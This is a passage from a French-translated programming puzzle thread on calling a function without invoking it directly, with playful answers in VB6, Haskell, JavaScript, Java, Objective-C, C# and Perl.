 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

et remplacez cette valeur pour ADDRESS.


5

VB6 et VBA

Je ne sais pas si cela est admissible ou non, car il appelle une méthode d'une classe:

Cela va dans un module de classe:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Et voici le code "appelant":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Cela fonctionne en échangeant la fonction vptr pour les deux sous dans la vtable pour la classe.


Mec, tu es dangereux ! Joli!
Mathieu Guindon

Je dirais que ce ne qualifie, parce que dans VB6 / VBA une méthode est membre d'une classe - sinon il est une procédure ;)
Mathieu Guindon

5

Haskell

En haskell si vous le faites:

main=putStrLn "This is the main action."

Il sera exécuté immédiatement sans appeler son nom lorsque vous l'exécutez. La magie!


1
Haskell ne compte pas. Vous ne pouvez pas appeler une action IO, mais simplement lui chaîner davantage d'actions ou l'affecter quelque part.
John Dvorak

C'est le concept équivalent pour les actions IO.
PyRulez

5

Javascript

Facile, utilisez simplement des on___événements dans JS. Par exemple:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Autre réponse java de ma part. Comme vous le voyez dans le code, il appelle directement theCalledMethod, mais la méthode notCalledMethodest exécutée à la place.

Donc, au final, je fais 2 choses:

  • Appeler une méthode sans l'appeler.
  • Ne pas appeler une méthode en l'appelant.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Le lancer:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Ceci dépend de la plateforme. En particulier, il échouera probablement sur OS X où le codage de caractères par défaut de la plate-forme est UTF-8.
mardi

@ntoskrnl Cela devrait être facile à corriger si vous transmettez le nom d'encodage en tant que paramètre à la getBytes()méthode, en l'activant getBytes("UTF-8"). Puisque je n'ai pas OS X, pourriez-vous vérifier si cela fonctionne?
Victor Stafusa

UTF-8 ne fonctionne pas pour les données binaires. Un codage sur un seul octet comme ISO-8859-1 devrait fonctionner, mais traiter les données binaires comme une chaîne est toujours une erreur.
mardi

3
@ntoskrnl En fait, violer des fichiers de classe pour avoir fait ce que je fais ici est faux, le codage est le plus petit des problèmes. :)
Victor Stafusa

4

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Oui, la collecte des ordures!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Une version pour ceux qui diront inévitablement que ce System.gc()n'est pas fiable:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objectif c

(Probablement seulement si compilé avec clang sous Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Ce code utilise plusieurs astuces pour accéder à la fonction non utilisée. Le premier est la valeur 0x2A27. Il s'agit d'un pointeur balisé pour le nombre entier 42, qui code la valeur dans le pointeur pour éviter d'affecter un objet.

Suivant est MyClass. Il n'est jamais utilisé, mais le runtime appelle la +loadméthode lorsqu'elle est chargée, avant main. Cela crée et enregistre dynamiquement une nouvelle classe en utilisant NSValuecomme super-classe. Il ajoute également une +loadméthode pour cette classe, en utilisant MyClasss -unusedMethodcomme implémentation. Après l’enregistrement, il appelle la méthode de chargement sur la nouvelle classe (pour une raison quelconque, il n’est pas appelé automatiquement).

Étant donné que la méthode de chargement de la nouvelle classe utilise la même implémentation unusedMethod, elle est effectivement appelée. Il prend la superclasse de lui-même et ajoute unusedFunctionune implémentation pour la doesNotRecognizeSelector:méthode de cette classe . Cette méthode était à l'origine une méthode d'instance MyClass, mais elle est appelée en tant que méthode de classe sur la nouvelle classe, de même que selfle nouvel objet de classe. Par conséquent, la super-classe est NSValue, qui est également la super-classe de NSNumber.

Enfin, maincourt. Il prend la valeur du pointeur et la colle dans une NSString *variable (la __bridgepremière et la première conversion void *permettant son utilisation avec ou sans ARC). Ensuite, il tente d’appeler stringByAppendingString:cette variable. Puisqu'il s'agit en fait d'un nombre qui n'implémente pas cette méthode, la doesNotRecognizeSelector:méthode est appelée à la place, qui parcourt la hiérarchie des classes jusqu'à NSValueson implémentation unusedFunction.


Remarque: l'incompatibilité avec d'autres systèmes est due à l'utilisation du pointeur étiqueté, qui, à mon avis, n'a pas été implémentée par d'autres implémentations. Si cela était remplacé par un nombre normalement créé, le reste du code devrait fonctionner correctement.


Hm, essayez avec ciruZ 'ObjFW , c'est une exécution et un framework Objective-C assez décents, peut-être que cela, ou quelque chose de proche, fonctionnera aussi ;-)
mirabilos

@mirabilos La seule incompatibilité est la 0x2A27valeur, donc je ne sais pas si cela est mis en œuvre ailleurs. ObjFW est certainement intéressant cependant.
ughoavgfhw


@ Bryan Merci! Je cherchais exactement cet article et je ne me souvenais plus du nom exact.
ughoavgfhw

@BryanChen ah d'accord. ughoavgfhw: Bien sûr, je voulais juste indiquer le temps d'exécution alternatif au cas où vous voudriez jouer avec.
mirabilos

3

Javascript

Je sens que cela ne ressemble pas explicitement à l'appel de la fonction

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Jolie limite si vous me demandez.
Cole Johnson

@ColeJohnson Je pense qu'il l'a déjà traversé ...
Tomas

3

C # (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Je profite d'une fonctionnalité particulière de la sérialisation Java. La readObjectméthode est appelée lorsqu'un objet est désérialisé, mais il n'est pas appelé directement - ni par mon code, ni par la bibliothèque de désérialisation. Si vous creusez profondément dans la source, vous verrez que, à un niveau bas, la méthode est appelée en interne par réflexion.


Ouais; la sérialisation permet des blagues assez drôles :); d'ailleurs il y a des façons similaires dans d'autres lobs de sérialisation pour java
masterX244

3

Perl

C'est si facile. Le code ci-dessous est automatiquement exécuté dans le sous-programme, même sans appel explicite.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Même si vous décommentez l'appel, il ne sera appelé qu'une seule fois.


Comment? ne peut pas passer derrière la magie +
masterX244
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.